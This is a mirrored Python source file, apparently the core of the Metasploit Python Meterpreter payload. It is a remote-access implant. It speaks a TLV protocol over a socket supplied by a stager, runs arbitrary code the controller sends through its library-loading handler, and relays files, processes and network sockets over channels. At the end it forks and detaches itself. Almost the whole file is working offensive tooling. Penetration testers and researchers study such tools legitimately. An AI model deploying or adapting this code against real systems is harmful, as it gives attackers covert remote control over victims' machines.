mirror of
https://github.com/rapid7/metasploit-payloads
synced 2024-12-27 08:33:43 +01:00
508 lines
17 KiB
Python
508 lines
17 KiB
Python
#!/usr/bin/python
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import code
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try:
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import ctypes
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except:
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has_windll = False
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else:
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has_windll = hasattr(ctypes, 'windll')
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import os
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import random
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import select
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import socket
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import struct
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import subprocess
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import sys
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import threading
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if sys.version_info[0] < 3:
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bytes = str
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#
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# Constants
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#
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PACKET_TYPE_REQUEST = 0
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PACKET_TYPE_RESPONSE = 1
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PACKET_TYPE_PLAIN_REQUEST = 10
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PACKET_TYPE_PLAIN_RESPONSE = 11
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ERROR_SUCCESS = 0
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# not defined in original C implementation
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ERROR_FAILURE = 1
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CHANNEL_CLASS_BUFFERED = 0
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CHANNEL_CLASS_STREAM = 1
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CHANNEL_CLASS_DATAGRAM = 2
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CHANNEL_CLASS_POOL = 3
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#
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# TLV Meta Types
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#
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TLV_META_TYPE_NONE = ( 0 )
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TLV_META_TYPE_STRING = (1 << 16)
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TLV_META_TYPE_UINT = (1 << 17)
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TLV_META_TYPE_RAW = (1 << 18)
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TLV_META_TYPE_BOOL = (1 << 19)
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TLV_META_TYPE_COMPRESSED = (1 << 29)
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TLV_META_TYPE_GROUP = (1 << 30)
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TLV_META_TYPE_COMPLEX = (1 << 31)
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# not defined in original
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TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
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#
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# TLV base starting points
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#
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TLV_RESERVED = 0
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TLV_EXTENSIONS = 20000
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TLV_USER = 40000
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TLV_TEMP = 60000
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#
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# TLV Specific Types
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#
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TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
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TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
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TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
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TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
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TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
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TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
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TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
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TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
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TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
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TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
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TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
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TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
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TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
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TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
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TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
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TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
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TLV_TYPE_CHANNEL_PARENTID = TLV_META_TYPE_UINT | 55
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TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70
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TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71
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TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72
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TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300
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TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301
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TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400
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TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
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TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
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TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
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TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
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TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
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TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500
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TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501
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TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502
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TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503
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EXPORTED_SYMBOLS = {}
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def export(symbol):
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EXPORTED_SYMBOLS[symbol.__name__] = symbol
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return symbol
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def generate_request_id():
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chars = 'abcdefghijklmnopqrstuvwxyz'
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return ''.join(random.choice(chars) for x in xrange(32))
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@export
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def inet_pton(family, address):
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if hasattr(socket, 'inet_pton'):
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return socket.inet_pton(family, address)
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elif has_windll:
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WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA
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lpAddress = (ctypes.c_ubyte * 28)()
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lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress))
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if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0:
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raise Exception('WSAStringToAddress failed')
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if family == socket.AF_INET:
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return ''.join(map(chr, lpAddress[4:8]))
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elif family == socket.AF_INET6:
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return ''.join(map(chr, lpAddress[8:24]))
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raise Exception('no suitable inet_pton functionality is available')
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@export
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def packet_get_tlv(pkt, tlv_type):
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offset = 0
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while (offset < len(pkt)):
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tlv = struct.unpack('>II', pkt[offset:offset+8])
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if (tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type:
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val = pkt[offset+8:(offset+8+(tlv[0] - 8))]
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if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
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val = val.split('\x00', 1)[0]
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elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
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val = struct.unpack('>I', val)[0]
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elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
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val = bool(struct.unpack('b', val)[0])
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elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
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pass
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return {'type':tlv[1], 'length':tlv[0], 'value':val}
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offset += tlv[0]
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return {}
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@export
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def packet_enum_tlvs(pkt, tlv_type = None):
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offset = 0
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while (offset < len(pkt)):
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tlv = struct.unpack('>II', pkt[offset:offset+8])
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if (tlv_type == None) or ((tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type):
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val = pkt[offset+8:(offset+8+(tlv[0] - 8))]
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if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
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val = val.split('\x00', 1)[0]
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elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
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val = struct.unpack('>I', val)[0]
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elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
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val = bool(struct.unpack('b', val)[0])
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elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
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pass
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yield {'type':tlv[1], 'length':tlv[0], 'value':val}
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offset += tlv[0]
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raise StopIteration()
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@export
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def tlv_pack(*args):
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if len(args) == 2:
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tlv = {'type':args[0], 'value':args[1]}
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else:
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tlv = args[0]
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data = ""
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if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
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data = struct.pack('>II', 8 + len(tlv['value']) + 1, tlv['type']) + tlv['value'] + '\x00'
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elif (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
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data = struct.pack('>III', 12, tlv['type'], tlv['value'])
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elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
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data = struct.pack('>II', 9, tlv['type']) + chr(int(bool(tlv['value'])))
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elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
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data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
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elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP:
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data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
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elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX:
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data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
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return data
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#@export
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class MeterpreterSocket(object):
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def __init__(self, sock):
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self.sock = sock
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def __getattr__(self, name):
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return getattr(self.sock, name)
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export(MeterpreterSocket)
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#@export
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class MeterpreterSocketClient(MeterpreterSocket):
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pass
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export(MeterpreterSocketClient)
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#@export
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class MeterpreterSocketServer(MeterpreterSocket):
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pass
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export(MeterpreterSocketServer)
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class STDProcessBuffer(threading.Thread):
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def __init__(self, std, is_alive):
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threading.Thread.__init__(self)
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self.std = std
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self.is_alive = is_alive
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self.data = ''
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self.data_lock = threading.RLock()
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def run(self):
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for byte in iter(lambda: self.std.read(1), ''):
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self.data_lock.acquire()
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self.data += byte
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self.data_lock.release()
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def is_read_ready(self):
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return len(self.data) != 0
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def read(self, l = None):
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data = ''
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self.data_lock.acquire()
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if l == None:
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data = self.data
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self.data = ''
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else:
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data = self.data[0:l]
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self.data = self.data[l:]
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self.data_lock.release()
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return data
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#@export
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class STDProcess(subprocess.Popen):
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def __init__(self, *args, **kwargs):
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subprocess.Popen.__init__(self, *args, **kwargs)
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def start(self):
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self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None)
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self.stdout_reader.start()
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self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None)
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self.stderr_reader.start()
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export(STDProcess)
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class PythonMeterpreter(object):
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def __init__(self, socket):
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self.socket = socket
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self.extension_functions = {}
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self.channels = {}
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self.interact_channels = []
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self.processes = {}
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for func in filter(lambda x: x.startswith('_core'), dir(self)):
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self.extension_functions[func[1:]] = getattr(self, func)
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self.running = True
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def register_function(self, func):
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self.extension_functions[func.__name__] = func
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return func
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def register_function_windll(self, func):
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if has_windll:
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self.register_function(func)
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return func
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def add_channel(self, channel):
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idx = 0
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while idx in self.channels:
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idx += 1
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self.channels[idx] = channel
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return idx
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def add_process(self, process):
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idx = 0
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while idx in self.processes:
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idx += 1
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self.processes[idx] = process
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return idx
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def run(self):
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while self.running:
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if len(select.select([self.socket], [], [], 0.5)[0]):
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request = self.socket.recv(8)
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if len(request) != 8:
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break
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req_length, req_type = struct.unpack('>II', request)
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req_length -= 8
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request = bytes()
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while len(request) < req_length:
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request += self.socket.recv(4096)
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response = self.create_response(request)
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self.socket.send(response)
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else:
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channels_for_removal = []
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# iterate over the keys because self.channels could be modified if one is closed
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channel_ids = self.channels.keys()
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for channel_id in channel_ids:
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channel = self.channels[channel_id]
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data = ''
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if isinstance(channel, STDProcess):
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if not channel_id in self.interact_channels:
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continue
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if channel.stdout_reader.is_read_ready():
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data = channel.stdout_reader.read()
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elif channel.stderr_reader.is_read_ready():
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data = channel.stderr_reader.read()
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elif channel.poll() != None:
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self.handle_dead_resource_channel(channel_id)
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elif isinstance(channel, MeterpreterSocketClient):
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while len(select.select([channel.fileno()], [], [], 0)[0]):
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try:
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d = channel.recv(1)
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except socket.error:
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d = ''
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if len(d) == 0:
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self.handle_dead_resource_channel(channel_id)
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break
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data += d
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elif isinstance(channel, MeterpreterSocketServer):
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if len(select.select([channel.fileno()], [], [], 0)[0]):
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(client_sock, client_addr) = channel.accept()
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server_addr = channel.getsockname()
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client_channel_id = self.add_channel(MeterpreterSocketClient(client_sock))
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pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
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pkt += tlv_pack(TLV_TYPE_METHOD, 'tcp_channel_open')
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pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, client_channel_id)
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pkt += tlv_pack(TLV_TYPE_CHANNEL_PARENTID, channel_id)
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pkt += tlv_pack(TLV_TYPE_LOCAL_HOST, inet_pton(channel.family, server_addr[0]))
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pkt += tlv_pack(TLV_TYPE_LOCAL_PORT, server_addr[1])
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pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0]))
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pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1])
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pkt = struct.pack('>I', len(pkt) + 4) + pkt
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self.socket.send(pkt)
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if data:
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pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
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pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
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pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
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pkt += tlv_pack(TLV_TYPE_CHANNEL_DATA, data)
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pkt += tlv_pack(TLV_TYPE_LENGTH, len(data))
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pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
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pkt = struct.pack('>I', len(pkt) + 4) + pkt
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self.socket.send(pkt)
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def handle_dead_resource_channel(self, channel_id):
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del self.channels[channel_id]
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if channel_id in self.interact_channels:
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self.interact_channels.remove(channel_id)
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pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
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pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_close')
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pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
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pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
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pkt = struct.pack('>I', len(pkt) + 4) + pkt
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self.socket.send(pkt)
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def _core_loadlib(self, request, response):
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data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
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if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
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return ERROR_FAILURE
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preloadlib_methods = self.extension_functions.keys()
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symbols_for_extensions = {'meterpreter':self}
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symbols_for_extensions.update(EXPORTED_SYMBOLS)
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i = code.InteractiveInterpreter(symbols_for_extensions)
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i.runcode(compile(data_tlv['value'], '', 'exec'))
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postloadlib_methods = self.extension_functions.keys()
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new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods)
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for method in new_methods:
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response += tlv_pack(TLV_TYPE_METHOD, method)
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return ERROR_SUCCESS, response
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def _core_shutdown(self, request, response):
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response += tlv_pack(TLV_TYPE_BOOL, True)
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self.running = False
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return ERROR_SUCCESS, response
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def _core_channel_open(self, request, response):
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channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE)
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handler = 'channel_open_' + channel_type['value']
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if handler not in self.extension_functions:
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return ERROR_FAILURE, response
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handler = self.extension_functions[handler]
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return handler(request, response)
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def _core_channel_close(self, request, response):
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channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
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if channel_id not in self.channels:
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return ERROR_FAILURE, response
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channel = self.channels[channel_id]
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if isinstance(channel, file):
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channel.close()
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elif isinstance(channel, subprocess.Popen):
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channel.kill()
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elif isinstance(channel, MeterpreterSocket):
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channel.close()
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else:
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return ERROR_FAILURE, response
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del self.channels[channel_id]
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if channel_id in self.interact_channels:
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self.interact_channels.remove(channel_id)
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return ERROR_SUCCESS, response
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def _core_channel_eof(self, request, response):
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channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
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if channel_id not in self.channels:
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return ERROR_FAILURE, response
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channel = self.channels[channel_id]
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result = False
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if isinstance(channel, file):
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result = channel.tell() >= os.fstat(channel.fileno()).st_size
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response += tlv_pack(TLV_TYPE_BOOL, result)
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return ERROR_SUCCESS, response
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def _core_channel_interact(self, request, response):
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channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
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if channel_id not in self.channels:
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return ERROR_FAILURE, response
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channel = self.channels[channel_id]
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toggle = packet_get_tlv(request, TLV_TYPE_BOOL)['value']
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if toggle:
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if channel_id in self.interact_channels:
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self.interact_channels.remove(channel_id)
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else:
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self.interact_channels.append(channel_id)
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elif channel_id in self.interact_channels:
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self.interact_channels.remove(channel_id)
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return ERROR_SUCCESS, response
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def _core_channel_read(self, request, response):
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channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
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length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
|
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if channel_id not in self.channels:
|
|
return ERROR_FAILURE, response
|
|
channel = self.channels[channel_id]
|
|
data = ''
|
|
if isinstance(channel, file):
|
|
data = channel.read(length)
|
|
elif isinstance(channel, STDProcess):
|
|
if channel.poll() != None:
|
|
self.handle_dead_resource_channel(channel_id)
|
|
if channel.stdout_reader.is_read_ready():
|
|
data = channel.stdout_reader.read(length)
|
|
elif isinstance(channel, MeterpreterSocket):
|
|
data = channel.recv(length)
|
|
else:
|
|
return ERROR_FAILURE, response
|
|
response += tlv_pack(TLV_TYPE_CHANNEL_DATA, data)
|
|
return ERROR_SUCCESS, response
|
|
|
|
def _core_channel_write(self, request, response):
|
|
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
|
channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value']
|
|
length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
|
|
if channel_id not in self.channels:
|
|
return ERROR_FAILURE, response
|
|
channel = self.channels[channel_id]
|
|
l = len(channel_data)
|
|
if isinstance(channel, file):
|
|
channel.write(channel_data)
|
|
elif isinstance(channel, subprocess.Popen):
|
|
if channel.poll() != None:
|
|
self.handle_dead_resource_channel(channel_id)
|
|
return ERROR_FAILURE, response
|
|
channel.stdin.write(channel_data)
|
|
elif isinstance(channel, MeterpreterSocket):
|
|
try:
|
|
l = channel.send(channel_data)
|
|
except socket.error:
|
|
channel.close()
|
|
self.handle_dead_resource_channel(channel_id)
|
|
return ERROR_FAILURE, response
|
|
else:
|
|
return ERROR_FAILURE, response
|
|
response += tlv_pack(TLV_TYPE_LENGTH, l)
|
|
return ERROR_SUCCESS, response
|
|
|
|
def create_response(self, request):
|
|
resp = struct.pack('>I', PACKET_TYPE_RESPONSE)
|
|
method_tlv = packet_get_tlv(request, TLV_TYPE_METHOD)
|
|
resp += tlv_pack(method_tlv)
|
|
|
|
reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
|
|
resp += tlv_pack(reqid_tlv)
|
|
|
|
handler_name = method_tlv['value']
|
|
if handler_name in self.extension_functions:
|
|
handler = self.extension_functions[handler_name]
|
|
try:
|
|
#print("[*] running method {0}".format(handler_name))
|
|
result, resp = handler(request, resp)
|
|
except Exception:
|
|
#print("[-] method {0} resulted in an error".format(handler_name))
|
|
result = ERROR_FAILURE
|
|
else:
|
|
#print("[-] method {0} was requested but does not exist".format(handler_name))
|
|
result = ERROR_FAILURE
|
|
resp += tlv_pack(TLV_TYPE_RESULT, result)
|
|
resp = struct.pack('>I', len(resp) + 4) + resp
|
|
return resp
|
|
|
|
if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
|
|
if hasattr(os, 'setsid'):
|
|
os.setsid()
|
|
met = PythonMeterpreter(s)
|
|
met.run()
|